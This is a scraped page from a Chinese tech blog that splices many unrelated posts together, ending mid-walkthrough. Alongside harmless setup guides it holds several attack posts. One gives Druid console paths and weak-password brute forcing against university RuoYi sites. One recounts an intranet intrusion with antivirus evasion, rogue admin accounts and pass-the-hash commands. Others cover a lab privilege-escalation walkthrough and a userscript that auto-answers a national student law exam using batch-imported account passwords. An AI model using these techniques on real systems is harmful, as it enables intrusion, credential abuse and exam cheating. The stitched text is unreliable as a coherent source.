免费领取 1 个月的 ai 模型 gpt5/claude4.5
免费使用最新的智能浏览器 comet ,可以自动化操作网页,解放双手,配合 google 文档帮你上班上学!
解锁深度 research(研究) 等功能,助力科研
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
免费使用最新的智能浏览器 comet ,可以自动化操作网页,解放双手,配合 google 文档帮你上班上学!
解锁深度 research(研究) 等功能,助力科研
[bsgit user="ChinaSiro"]CloudFlare-RealiP-nginx[/bsgit]
我每个站点都优选到了CF,但是回来的都是CF后的IP。
也就是我们nginx日志中出现的都不是用户真实IP,而是加速后的。
虽然我做的东西都不限制IP频次,但我也不想无法控制。
避免有人利用攻击导致我封了CF的IP让大量用户无法访问。
写了一段配置放到nginx.conf中的可以获取
# ===== Cloudflare Real IP Support =====
# 2025/10/13 by Huo0.com
# IPv4
set_real_ip_from 173.245.48.0/20;
set_real_ip_from 103.21.244.0/22;
set_real_ip_from 103.22.200.0/22;
set_real_ip_from 103.31.4.0/22;
set_real_ip_from 141.101.64.0/18;
set_real_ip_from 108.162.192.0/18;
set_real_ip_from 190.93.240.0/20;
set_real_ip_from 188.114.96.0/20;
set_real_ip_from 197.234.240.0/22;
set_real_ip_from 198.41.128.0/17;
set_real_ip_from 162.158.0.0/15;
set_real_ip_from 104.16.0.0/13;
set_real_ip_from 104.24.0.0/14;
set_real_ip_from 172.64.0.0/13;
set_real_ip_from 131.0.72.0/22;
# IPv6
set_real_ip_from 2400:cb00::/32;
set_real_ip_from 2606:4700::/32;
set_real_ip_from 2803:f800::/32;
set_real_ip_from 2405:b500::/32;
set_real_ip_from 2405:8100::/32;
set_real_ip_from 2a06:98c0::/29;
set_real_ip_from 2c0f:f248::/32;
# Use Cloudflare header for real IP
real_ip_header CF-Connecting-IP;但站点太多,手动太麻烦。
就又写到git 直接 命令行一键配置+重载
宝塔云+debian¢os 一键脚本
CF_URL='https://raw.githubusercontent.com/ChinaSiro/CloudFlare-RealiP-nginx/main/realip.conf'; TARGET='/www/server/panel/vhost/nginx/realip.conf'; sudo mkdir -p "$(dirname "$TARGET")" && sudo curl -fsSL "$CF_URL" -o "$TARGET" && sudo nginx -t && sudo /www/server/nginx/sbin/nginx -s reload https://cnb.cool/OHAO/learn/SillyTavern
直接复刻或者抄作业就行。
endStages:
- name: sync code
script: git add . && git commit -m "自动提交:$(date "+%Y-%m-%d %H:%M:%S")" && git push关闭ide的时候会自动提交,可以自己添加,这样就不会忘记数据。
启用该功能非常简单,只需配置以下两个环境变量:
变量说明:
PGSTORE_DSN:由云数据库提供商提供,其标准格式如下:
postgresql://用户名:密码@网址:端口/数据库名
示例如下:
至于其他的配置步骤,请参考之前的文章。
[bsgit user="chenyme"]grok2api[/bsgit]
docker compose down
docker compose pull
docker compose up -d<video src="{full_video_url}" controls="controls"></video>注意:Grok 的视频直链受 403 限制,系统自动缓存图片到本地。必须正确设置 Base Url 以确保视频能正常显示!
curl https://你的服务器地址/v1/chat/completions \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $GROK2API_API_KEY" \
-d '{
"model": "grok-imagine-0.9",
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "让太阳升起来"
},
{
"type": "image_url",
"image_url": {
"url": "https://your-image.jpg"
}
}
]
}
]
}'
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2025/10/2878303982.mp4" image="视频封面图地址"]
[bsmessage type="common" color="red" title="注意"]Grok 最近放开允许轻度NSFW,但有审查,如果视频过于暴露,会返回为空[/bsmessage]
[bsopc] NSFW [/bsopc]
[bsopc]
[/bsopc]
[todo-t] 完整 Claude Code兼容 [/todo-t]
[todo-t] 流式响应零延迟 [/todo-t]
[todo-t] 工具调用完整支持 [/todo-t]
[todo-t] 多模态图片处理 [/todo-t]
[todo-t] 支持多账号 [/todo-t]
[todo-t] 支持IdC和Social认证方式 [/todo-t]
[todo-t] 保持agentContinuationId减少kiro vibe次数扣减 [/todo-t]
[bsgit user="caidaoli"]kiro2api[/bsgit]

可以清晰地看到现在ZCF支持的所有功能

使用方法:
如果是小白或者第一次使用Claude Code,推荐直接执行npx zcf选1,进入初始化流程,api配置的步骤里选CCR
单独的CCR菜单配置进入方法如下:
npx zcf ccr # 打开 CCR 管理菜单
# 或
npx zcf → 选择 R目前ZCF中的CCR配置只提供了基础的预设,以及全部配置一个模型,流程如下:
选择一个提供商预设:
1. dashscope
2. deepseek
3. gemini
4. modelscope
5. openrouter
6. siliconflow
7. volcengine
8. 跳过,在 CCR 中自行配置
选择一个提供商预设: 4. modelscope
✔ 请输入 modelscope 的 API 密钥: 123
? 选择 modelscope 的默认模型: (Use arrow keys)
❯ 1. Qwen/Qwen3-Coder-480B-A35B-Instruct
2. Qwen/Qwen3-235B-A22B-Thinking-2507
3. ZhipuAI/GLM-4.5
✔ CCR 配置已保存
✔ 代理设置已配置
? 配置提示:
• 您可以使用 ccr ui 命令进行更高级的配置
• 手动修改配置文件后,请执行 ccr restart 使配置生效
• 请使用 claude 命令启动 Claude Code(而非 ccr code)
• CCR UI 登录密钥: sk-zcf-x-ccr
使用此密钥登录 CCR UI 界面确保流程跑通后可自行在CCR UI或直接编辑~/.claude-code-router/config.json进行更高级配置
:light_bulb:注意:zcf配置的ccr,最后使用的是claude命令来运行的,而不是ccr code(好处是claude code vscode插件等可以直接用),使用前需要使用ccr status确保启动成功
如果一定要使用ccr code 启动,去~/.claude/settings.json里删掉env里的ANTHROPIC_API_KEY和ANTHROPIC_BASE_URL即可
qwen-cli每天提供2000次的qwen3-coder-plus
魔搭每天提供500次的qwen3-coder
加起来一共2500次
background路由到gemini-cli的grmini-flash(gemini-cli的频次限制要高于普通的api)
思考模型用魔搭的qwen3的thinking
websearch还是用gemini-flash
不管轻度中度还是重度一般情况(纯白嫖)是够用了
:collision:ccr启动不起来的可以试试:
我发现 ccr start 经常容易卡在 Loaded JSON config from xxx
可以先终止 3456 端口的服务:
# windows
# 1. 先这样获取到3456端口服务的pid
netstat -ano | findstr :3456
# 得到如下内容
# TCP 127.0.0.1:3456 0.0.0.0:0 LISTENING 1208
# TCP 127.0.0.1:59047 127.0.0.1:3456 TIME_WAIT 0
# 2. 然后终止它,1208不是固定值,取决于上个命令获取到的pid
taskkill //PID 1208 //F
#mac/linux 直接执行下面命令
lsof -t -i:3456 | xargs kill然后用 ccr restart 命令启动,最后可以用 ccr status 查看状态,正常的话就能 claude 启动了
bmad 是项目级的,而且原项目一直在持续更新(听说 V5 版会改成 subagents 模式),就没有耦合进 zcf 里了,只做了个自动安装和更新 bmad 的 command
具体步骤:
用 zcf 导入工作流 npx zcf后选2,走完流程
在项目目录终端运行 claude
5.claude code 中运行 /bmad-init
等待结束会有提示:




使用方法:
npx zcf ccu # 快速查看每日用量,可透传ccusage参数
或
npx zcf → 选择 U # 打开 ccusage 管理菜单

npx zcf check
# 或
npx zcf → 选择 +
#初始化中最后一步会确认是否需要安装
#单独安装
npx zcf → 选择 L → 选择 1效果图:
v2.9.9 版本用户重要提示 :如果您之前使用过 ZCF v2.9.9 版本安装 CCometixLine,请重新运行一次安装流程,以确保 CCometixLine 配置被正确添加。运行 npx zcf → 选择 L → 选择 1 ,会自动添加 CCometixLine 配置。
Sora 2 视频去水印:原理其实没那么神秘,说白了就这几种
最近刷到一堆“Sora 视频去水印神器”的帖子和视频,标题都挺唬人的,什么“AI秒去logo”、“高清还原不留痕”之类。
我看着好奇,干脆自己研究了一圈。结果发现啊——
原理其实都挺简单的,不外乎那两三种老办法。
看起来方法很多,其实就是换个壳。
这里我就不讲工具名了,直接讲原理,大家有兴趣自己试。
最常见的就是这一类。
视频解析成帧图,然后对水印那块区域做模糊或者贴一层颜色。
ffmpeg 就能搞,比如:
ffmpeg -i input.mp4 -vf "delogo=x=100:y=50:w=120:h=40:show=0" output.mp4原理很直接:模糊掉那一块。
有点像你拿橡皮擦在图上糊一糊。
优点是:快,稳定,不挑环境,自动化也简单。
缺点也明显:
模糊区域细节没了;
反正大部分视频网站的logo位置都挺固定的。
第二种是现在最火的“AI去水印”,其实就是重绘。
先把视频分帧,再用算法把那一块抠掉,让模型重新补上。
常用的有:
效果确实比模糊好,有时候能“补”出原来的纹理,看着挺神奇。
但是啊,问题也不少:
这种方法适合做实验、玩玩 AI。
真要商用批量跑,成本有点高。
但我承认,画面出来确实最自然。
第三类思路挺有意思的,不算“去水印”,更像“绕水印”。
原理大概是:
Sora 在生成视频的时候,水印其实是后加的。
如果能截取到它生成阶段的原始视频包,再重新封装,那自然就没logo了。
问题是:
这个操作很吃技术细节,要懂视频流结构、API请求、缓存路径之类的东西。
网上有人提过思路,但我还没看到特别完整的实现。
而且,这种方式目前很难做成在线服务。
除非你能让用户在自己手机端跑个小代理之类的。
不过,这方向倒挺值得研究的。
真能抓到无logo流,效果肯定比什么模糊、重绘都干净。
网上一堆收费的“AI去水印网站”,我也看了不少。
大体分两类:
第二类确实有成本,收费也合理。
但第一种就纯套壳,有的甚至还做得比开源工具更慢。
所以真要用,建议先看看有没有网页版 Demo,别盲付。
各种教程和工具看起来五花八门,其实核心原理就这仨:
剩下的那些付费网站,基本都在这三种思路里来回包装。
这是我亲自手动研究过的免费网站,有兴趣可以尝试验证上述原理:
https://www.soraaiwatermark.com/
https://www.basedlabs.ai/tools/sora-watermark-remover
https://magiceraser.org/sora-watermark-remover/
别把这些当成黑科技神器,用它们来理解原理才是正道。
转载自https://linux.do/t/topic/1034813
发现一个专门处理 Sora 2 视频水印的在线工具,亲测有效。
特点:
在线工具
手动框选水印,比较灵活
AI 处理,效果干净,无痕
可以先白嫖试试效果
有需求的可以试试。

首先去注册华为云(有的就直接登录)
https://activity.huaweicloud.com/cps.html?fromacct=4e5028f4b73c4ef3b97e134b293ef2cf&utm_source=&utm_medium=&utm_campaign=
实名认证完后,通过这个链接去申请代金券沃土云创计划_开发者中心-华为云
https://developer.huaweicloud.com/programs/dev-program.html
领取完代金券后,点这里最大化购买云服务器
https://console.huaweicloud.com/smb/?region=cn-north-4#/create/hecs-light?period=month_1&plan=basic_v2&image_name=Debian&resource_spec_code=hf.large.05.40g.30m.linux
我买的新加坡最低配的,先买7个月,再续费7个月,又付了5块。续费时你可以试试到期天数能不能选了用代金券,这样还能多十几天,我当时不能用!
看大家都在聊 bun 1.0 ,我也来凑个热闹
项目地址 https://github.com/codehz/bun_python
demo 代码:
import * as np from 'python:numpy';
import * as plt from 'python:matplotlib.pyplot';
const xpoints = np.array([1, 8]);
const ypoints = np.array([3, 10]);
plt.plot(xpoints, ypoints);
plt.show();迁移自 deno_python ,主要用于测试和学习 bun 的 FFI 和 plugin 机制的使用
此外发现 bun 的 ffi 性能确实值得一提,思路和 deno ffi 一模一样,api 也大差不差,但性能却能打得过 deno ffi (当然 node napi 肯定也能秒),bun ffi 的这个思路,我在很久之前也在tjs(该项目已废弃)也尝试过,有趣的是,同样用的 zig ,同样用的 tcc 做 native bridge ,只不过我直接把 tcc 的 api 接驳到 js 里使用,而 bun 则是生成一个 c wrapper 代码来做 bridge ,用 tcc 直接 jit 出转换的代码,性能又有进一步提升,加上 JavaScriptCore 引擎自己对 ffi 的优化(特别是相比于 v8 )性能几乎提到了 luajit 的那种水平,deno 虽然 api 看着类似,但实现也完全不同,这大概是性能差距的来源
此外 bun 的 plugin 机制可以直接定义 import 导入语句的行为,由于它是直接和引擎集成,因此相比于 bundle/transpiler/preprocess 的方案,它可以支持 plugin 直接给导入的模块返回对象——而无需生成一系列 export 代码(总所周知,esm 的 named export 需要静态确定),在这个场景下,实现一句话 import * as torch from 'python:torch'; 即可使用 pytorch
某种意义上在 bun 里实现 deno 的 url import 也是可能的,就看有没有人做()
(话虽如此,我也不建议在玩具场景外使用 bun_python 这个库来加载和使用 python ,首先你丧失了最重要的进程隔离,其次我这个库实现的也比较粗糙,很多边界问题都没考虑到)
若依系统存在较多魔改版本,具有前后端分离的情况,内置了druid
通过这个拿下了交大证书
首先,我们要做的是收集基于若依CMS的系统
图标收集方法
最简单的就是利用图标的方法进行收集(以下只是举例)
(icon_hash="-1231872293" || icon_hash="706913071")
内容收集
另外可以收集的就是内容
下面是以主体中的关键字进行匹配(大部分存在二改的情况)

标题收集
收集类似的标题

前后端分离之后端收集1
发现下述内容,是ruoyi后端,也需要进行收集
由于存在很多魔改版本,大致会修改ruoyi那一段

收集的思路大致为内容匹配(以下是思路之一)
前后端分离之后端收集2
除了存在后台欢迎的情况,也可能做了弱权限校验,会出现以下情况
因此此类也需要收集

最重要
如果是为了教育上分的话,需要加上一点小小的黑魔法
加上下面这句话就会筛选出来的内容为教育网段内容
org="China Education and Research Network Center"
如果配置不当可能不需要druid密码即可直接访问druid
/druid/index.html若依默认的druid路径是
/druid/login.html收集的网址直接拼接,如果成功,就说明存在druid后台
若依存在默认的api,druid的路径可能在api下
/prod-api/druid/login.html
/dev-api/druid/login.html收集的网址直接拼接,如果成功,就说明存在druid后台
在这个情况下,直接扫描是没有任何用处的,通常的思路是首先浅浅登录错误一次,查看数据包的目录
示例如下
发现存在一个地址
抓包查看地址后发现如下目录

那么拼接地址为
/{发现的api}/druid/login.html
常见路径地址如下
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html甚于内容请在实战中进行尝试
通常druid不需要验证码就可以进行爆破(请自行收集字典)
admin
druid
ruoyi
...123456
admin
druid
...相对来说爆破还是需要一本好的字典的,重点在于收集面
以下是在edu-src中使用druid弱口令上分的部分
新一代开AI换脸神器,生成速度更快,效果更惊艳!
自从上次分享的那个换脸的工具后,发现很多人都很喜欢这个工具,刚好在网上闲逛的时候又发现一款换脸的神器,又经热心网友制作成一键离线包,解压后即可使用。
先看演示吧,为了不侵犯他人的肖像之类的东西,只放了换脸后的视频,各位参考参考吧,下图是AI生成的小姐姐,用来替换视频里面人物的脸。
↓下面2位小姐姐的脸,基本都是不动的,或者说头部动作幅度不是很大。
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/3534649523.mp4" image="视频封面图地址"]
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/3290191406.mp4" image="视频封面图地址"]
↓下面2位小姐姐身体还有头部动作幅度会大一些,先看看视频效果演示。
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/2591676258.mp4" image="视频封面图地址"]
[bsplayer url="https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2023/09/1027360922.mp4" image="视频封面图地址"]
下面来讲下详细操作点击启动后就是这么一个黑洞洞的窗口。
然后打开一个链接:http://127.0.0.1:7860 这个链接在黑窗口那里复制即可;
需要手动复制在浏览器里面打开,然后出来这样的一个界面:
如果觉得英文看的不顺眼可以翻译下;
下面已经就是正经开始操作;
点这里选择你要换的脸;
这里选择你要换的视频,然后输出质量选100;
比如我换的这个小姐姐的视频,其他都不要动,点最下面的开始。

看到开始读秒就说明开始了,在黑洞洞那个窗口也会有各种文字滚动。
等完成以后,会有提示Processing to video succeed。
点击如图所示的地方,把视频保存到你要保存的地方。

操作就是这么简单,其他参数都默认即可,千万别乱动,第一次运行会慢一些,因为会自动下载一些对应的模型,请耐心等待,下载好后以后再运行就速度很快了。
下面是我使用了这个工具几天的一点心得。
首先,换脸的文件 不要有中文名字和中文路径,否则很容易报错。
其次,电脑的用户名 一定要是英文,否则也会报错。
再次,换脸的图片 必须是正面 而且要高清一点点,如我上面的小姐姐所示,可以参考下。
否则就会提示这个错误:
目前这个工具只是用cpu在跑,速度还可以,我感觉比我之前分享的那个工具 速度快那么一点点,效果也是更惊艳一点,之前那个如果人物头部幅度稍微大点就会出错,或者效果很不好,现在的这个工具效果要好很多了。
需要注意的是,Face Swap软件也存在一些潜在的问题和挑战。例如,由于该技术需要处理大量的图像和视频数据,需要消耗大量的计算资源;同时存在隐私和安全问题。
此外,在使用时也存在一些伦理和道德问题,例如可能会被用于进行欺骗或诈骗活动,或者侵犯他人的隐私和肖像权等。因此,在使用该软件时需要谨慎,切忌用它来干坏事。
一切以学习为主,记录一次小小的攻击过程
本次是通过外网漏洞撕开的口子,主要通过一下方式
拿到了目标资产
拿到了几个shell,先命令查看一下 进了360窝了
基本上都有360,只能掏出我临时免杀马了,不稳,只能绕一下了
这里有个静态免杀马如何上线小技巧:
1、静态免杀马只有在执行敏感命令时才会被检测杀死(静态免杀马比较简单,临时使用)
2、绕过360添加用户,并添加到administrators组(github上有工具)
3、有些服务器不允许外部远程,内网可远程
4、cs可以开socks4,这不是敏感操作
5、挂cs的代理,通过服务器内网ip就可以控制桌面
6、远程控制上去之后,运行杀软360或者火绒等,他会提示在别的用户运行了是否转移到当前用户,选择是,然后关了它,接下来就可以为所欲为了
7、上面的步骤不一定适用于每个环境,总要根据环境改变策略的不是。
内网主打的一个信息关联
抓取到本地密码后,使用fscan就可以碰撞 或者使用 crackmapexec 去碰就可以
如
fscan -h 192.168.x.x/24 -m smb -user 用户 -pwd 密码
crackmapexec smb 192.168.x.x -u 用户 -p '密码'如果抓不到密码,用hash去PTH票据传递
crackmapexec smb 192.168.x.x -u 用户 -H 'NTLM'收获同段192.168.x.x三台
使用wmiexec.py 验证一下
工具netspy,得到众多可达网段
使用nbtscan批量跑NetBIOS协议,就工作组没域啊
既然是同一个工作组那肯定是有相同之处,而且他们的计算机名好像,不对劲。。绝对不对劲。。。
找其中一个扫一下端口看看一下,有个8xxx的端口是个机顶盒后台
弱口令随手试一下就进去了admin,60台 拿下拿下
再回到初始服务器,抓取本地所有密码,浏览器记录等信息
通过浏览记录和密码抓取,拿下用友后台存在大量数据,websphere集成存在7台终端


看了一下ip的web扫描结果,内网中存在三台qax的云安全管理平台
本来想着游戏结束,谁知道一台管理机器也没有o(╥﹏╥)o

1、现在的内网渗透总要面对杀软,时时刻刻都要有自己一套绕过杀软或免杀的能力,过不去杀软都是浮云
2、内网主要就是信息收集,需要收集好本地密码、浏览器记录、数据库密码、可达网段、多网卡机器、重点目标、是否有域等等
3、横向移动,本次主要用了密码喷洒,信息收集后发现内网机器并不多,就没再继续横向
4、重点资产要特别关注,像一下堡垒机、天擎、这样的终端控制服务,拿下后直接游戏结束
5、本次测试主要目的在于学习,内网中各种协议应该灵活使用,ICMP探测不到的不一定不存在,换成Netbios协议去探测却能够探测出来,还有一些机器禁ping,都要学会去绕过。
6、自动化进行扫描的话动静还是太大,需要更精简化测试过程,瞄的准打的狠,直线攻击直接拿下内网
恶意行为者可以窃取 Oculus 应用程序的第一方访问令牌,他可以使用该令牌访问 Facebook/Oculus 帐户。
因为 Facebook 中的 Oculus 应用程序(用于使用 Facebook 帐户登录 Oculus)将auth.oculus.com/login/端点作为有效的 redirect_uri。
不过,Oculus 已改用Meta帐户进行登录。这意味着在访问auth.oculus.com/login/时,端点将重定向到auth.meta.com/oidc/以使用Meta帐户登录,然后返回到 auth.oculus.com。
我们可以在www.facebook.com[1] OAuth中选择response_type=token,令牌将被传递到下一个重定向URL,直到再次到达auth.oculus.com。
这里的问题是,之前,auth.oculus.com/login通过使用 Javascript 进行重定向来防止令牌泄漏,但是在 oculus 登录更改为 Meta 帐户而不是 Facebook 后,这种保护消失了,现在它直接重定向到最初在auth.oculus.com/login/?redirect_uri=Redirect_Here中找到的 URL。
Redirect_Here 可以是 oculus.com 的任何子域,其中一些子域(如 forums.oculus.com)会重定向到第三方应用程序,该应用程序可以具有开放重定向来泄漏令牌(但这不是使用的开放重定向)。这个漏洞很容易发现和利用。
测试过程:
攻击:
将受害者登录到他的 Meta 帐户 CSRF
4)最终access_token将被泄露到https://ysamm.com
2022 年 8 月 27 日—报告发送 2022 年
2022 年 9 月 25 日—Meta 确认
2022 年 9 月 25 日—Meta 修复
2022 年 9 月 25 日—Meta 授予 44250 美元赏金。(包括 BountyCon 奖金和最高影响力报告奖金)
首先是 Chrome ,默认不支持 Wayland, 强制使用后发现输入法不能用,搜索后得知需要使用 gtk4
--enable-features=UseOzonePlatform
--ozone-platform=wayland
--gtk-version=3这样 fcitx5 能用了,不过候选词的那个框框位置不对,并且浏览器多了些毛病,不能右键下载图片,上传图片报错等等。Firefox 表现完美,可我的主力是 Chrome 。
Flutter 完美支持是意外之喜,除了 AndroidStuido 需要跑在 Xwaylany 上。
vscode 和 Chrome 一样的毛病,使用相同的配置之后在我的机器上打开就 crash , 暂时没找到解决方法。只能按照官方的建议跑在 Xwayland 上然后强制放大 UI,放大倍率只能是整数,在我这个分辨率上就很尴尬——原始的太小,2 倍又太大,显示不了多少东西。
一些软件多少有适配问题,有些可能永远都不会支持了,比如说 w3m 用不了,ranger 看不了图片。 我还发现 GLFW 有奇怪的问题,Wayland 上拿不到正确的 FrameBuffer 大小,官方的 issues 也没有明确的修复计划,导致 viewport 总是只有窗口的 1/4 。

全国青少年普法网,每年都有,提供给有需要的人。
全国学生“学宪法 讲宪法”活动自动答题脚本
首先装好油猴,然后将你的账号信息设置如下格式保存:
这个插件相对于其他的插件来说,多了一个批量导入账号的功能。
可以按照插件页面的图片指示来操作
然后安装这个脚本:
地址:https://greasyfork.org/
代码:
// ==UserScript==
// @name 普法网(宪法小卫士)批量导入、课后练习、考试自动答题
// @namespace Ne-7
// @version 1.0.0
// @description 全国学生“学宪法 讲宪法”活动自动答题脚本
// @author guan
// @match *://static.qspfw.moe.gov.cn/*
// @run-at document-end
// @grant unsafeWindow
// @license MIT
// @require https://cdn.staticfile.org/jquery/3.6.0/jquery.min.js
// @require https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.17.0/xlsx.full.min.js
// ==/UserScript==
var _self = unsafeWindow,
$ = _self.jQuery || top.jQuery,
Swal = Swal || window.Swal,
columnId = getQueryVariable("columnId"),
answer_list = [],
exam_list = [],
time = 5e3, // 答题间隔时间,最好为5秒
num = {"A": 1,"B": 2, "C": 3, "D": 4};
(function() {
if (window.location.pathname.indexOf('learn_exam.html') != -1) {
getExam();
let t = setInterval( function() {
doExam(t)
},time / 2);
} else if (window.location.pathname.indexOf('learn-practice.html') != -1) {
setTimeout(function function_name(argument) {
if ($(".inside-pages-title:contains('课后练习')") != null) {
getAnswer(columnId);
let t = setInterval( function() {
doQuestion(t)
},time / 2);
}
}, time / 2);
} else if (window.location.pathname.indexOf('learn_practice_list.html') != -1) {
setTimeout( function() {$(".red").click();},time / 2);
} else if (window.location.pathname.indexOf('/user/') != -1) {
setTimeout(function() {
setInterval(function() {
var stu = $("button:contains('开始学习')");
if (stu != null) {
$("button:contains('开始学习')").click();
}
}, time / 2)
createFileInput();
readFile();
readAndWriteStudentInfo();
}, time / 2);
} else if (window.location.pathname.indexOf('learning-page.html') != -1) {
setTimeout(function function_name(argument) {
if ($(".inside-pages-title:contains('课程学习')") != null) {
$("#afterClassPractice").click();
}
}, time / 2);
} else if (window.location.pathname.indexOf('evaluation.html') != -1) {
window.location.href="https://static.qspfw.moe.gov.cn/user/#/user/login?redirect=%2Factivity";
}
})();
function createFileInput() {
var courseGradeDetail = document.querySelector(".main");
var fileInputHTML = '<div><input type="file" id="file-input" accept=".xls,.xlsx"></div>';
courseGradeDetail.insertAdjacentHTML("afterbegin", fileInputHTML);
var clearButton = document.createElement("button");
clearButton.textContent = "清除缓存";
clearButton.addEventListener("click", function() {
localStorage.removeItem("students");
});
var file = document.querySelector("#file-input");
file.parentNode.appendChild(clearButton);
}
function readFile() {
var fileInput = document.getElementById("file-input");
fileInput.addEventListener("change", function() {
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function(e) {
var data = e.target.result;
parseExcelData(data);
};
reader.readAsBinaryString(file);
});
}
function parseExcelData(data) {
var workbook = XLSX.read(data, {type: "binary"});
var sheetName = workbook.SheetNames[0];
var sheet = workbook.Sheets[sheetName];
var json = XLSX.utils.sheet_to_json(sheet, {header: 1});
var students = {};
for (var i = 1; i < json.length; i++) {
var row = json[i];
var id = row[0];
var name = row[1];
var password = row[2];
if (students[id]) {
continue;
}
students[id] = {name: name, password: password};
}
var studentsString = JSON.stringify(students);
localStorage.setItem("students", studentsString);
}
function readAndWriteStudentInfo() {
var students = JSON.parse(localStorage.getItem("students") || "{}");
var keys = Object.keys(students || []);
if (keys.length == 0) {
return;
}
var id = keys[0];
var name = students[id].name;
var paw = students[id].password;
copy_text = id;
var loginInfo = document.getElementById("formLogin_loginInfo");
var userName = document.getElementById("formLogin_userName");
var password = document.getElementById("formLogin_password");
var captcha = document.getElementById("formLogin_captcha");
$(".ant-radio-input").click();
loginInfo.onfocus = async function() {
await navigator.clipboard.writeText(id);
};
userName.onfocus = async function() {
await navigator.clipboard.writeText(name);
};
password.onfocus = async function() {
await navigator.clipboard.writeText(paw);
};
delete students[id];
localStorage.setItem("students", JSON.stringify(students));
}
function getQueryVariable(variable) {
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
};
function getAnswer(columnId) {
$.ajax({
url: _self.config.practice.host + _self.config.practice.practice + "?columnId="+ columnId + "&taskId=" + _self.config.taskId,
headers: _self.config.apiConfig.header,
async: false,
success: function (res) {
const { data, status } = res;
if (status === "0") {
var question_data = res.data
var questionBankList = data.questionBankList
answer_list = questionBankList;
// 从localStorage中获取已经缓存的答案数组,如果没有则使用一个空数组
var cached_answers = JSON.parse(localStorage.getItem("answers")) || [];
// 遍历每个答案,检查是否已经存在相同id属性的答案
for (var i = 0; i < answer_list.length; i++) {
var answer = answer_list[i];
// 使用find方法或some方法来检查缓存数组中是否已经存在相同id属性的答案
var found_answer = cached_answers.some(function(cached_answer) {
return cached_answer.id == answer.id;
});
// 如果不存在相同id属性的答案,将它追加到缓存数组中
if (!found_answer) {
cached_answers.push(answer);
}
}
// 将更新后的缓存数组重新保存到localStorage中
localStorage.setItem("answers", JSON.stringify(cached_answers));
} else if (status === "1") {
alert("请先学习当前模块");
window.history.go(-1);
} else if (status === "-2") {
alert("请重新登陆");
} else {
}
},
error: function (err) {
}
});
}
// 答题操作
function doQuestion(t) {
var cur_topic = $('#currentTopic').text(),
tol_topic = $('#totalTopic').text(),
answer = answer_list[cur_topic - 1].answer;
$('#exam_answer > div:nth-child(' + num[answer] + ')').click();
if (cur_topic == tol_topic) {
// 清除Interval的定时器
clearInterval(t);
//setTimeout(function(){Swal.fire('宪法小助手提示','答题完成','info')},time / 2);
if ($("#next_exam").css("display") != 'none') {
nextExam();
} else {
toEvaluation();
}
} else{
setTimeout(function(){$('#next_question').click()},time / 5);
};
}
// 获取考试题目
function getExam(){
$.ajax({
url: _self.config.wexam.host + _self.config.wexam.getPaper + "?taskId=" + _self.config.taskId,
headers: _self.config.apiConfig.header,
async: false,
success: function (res) {
const { data, status, message } = res;
if (status === "0") {
var question_data = res.data;
var paper = question_data.paper;
var paperInfo = paper.paperInfo;
exam_list = paperInfo;
} else {
alert('获取考试题目失败!')
}
},
error: function (err) {
}
});
}
// 考试答题操作
function doExam(t){
$('#ne21ans')[0] ? $('#ne21ans').html('<p style="color: red;">正在搜索答案~</p>') : $('#exam_question').append('<div id="ne21ans"><p style="color: red;">正在搜索答案~</p></div>')
var cur_topic = $('#currentTopic').text(),
tol_topic = $('#totalTopic').text(),
questionInfo = exam_list[cur_topic - 1];
// 从localStorage中获取已经缓存的答案数组,如果没有则使用一个空数组
var cached_answers = JSON.parse(localStorage.getItem("answers")) || [];
// 从缓存数组中查找与题目id相同的答案
var cached_answer = cached_answers.find(function(answer) {
return answer.content.replace(/\s+/g, '') == questionInfo.content.replace(/\s+/g, '');
});
if (cached_answer) {
// 如果找到了匹配的答案,直接显示并选择
$('#ne21ans').html('<p style="color: red;">参考答案:'+ cached_answer.answer + '</p>')
$('#exam_answer > div:nth-child(' + num[cached_answer.answer] + ')').click();
} else {
// 如果没有找到匹配的答案,提示用户自己作答或者使用其他方法获取答案
$('#ne21ans').html('<p style="color: red;">没有找到该题目的答案,请自己作答或者尝试刷新页面</p>')
}
if (cur_topic == tol_topic) {
// 清除Interval的定时器
clearInterval(t);
saveResult();
setTimeout(function(){$("button:contains('返回综合评价')").click();},time / 2);
} else{
setTimeout(function(){$('#next_question').click()},time / 5);
};
} getwebshell : nikto扫描 → 发现shellshock漏洞 → 漏洞利用 → getwebshell
提 权 思 路 : 内网信息收集 → 内核版本较老 →脏牛提权
启动VPN
获取攻击机IP → 192.168.45.194
启动靶机
获取目标机器IP → 192.168.190.87
sudo nmap --min-rate 10000 -p- 192.168.190.87
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
开放的端口->22,80
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.87
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
22-SSH端口版本信息与MSF利用
通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 5.9p1 Debian 较老
# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1发现搜索到可利用的和用户枚举有关(待定)
22-SSH协议支持的登录方式
通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试sudo ssh root@192.168.190.87 -v
显示publickey、password就是支持密钥以及密码登录

22-SSH手动登录尝试(无)
因为支持密码登录,尝试root账户的密码弱密码尝试
sudo ssh root@192.168.190.87 -p 22
# 密码尝试
password > root弱密码尝试失败
22-SSH弱口令爆破(静静等待)
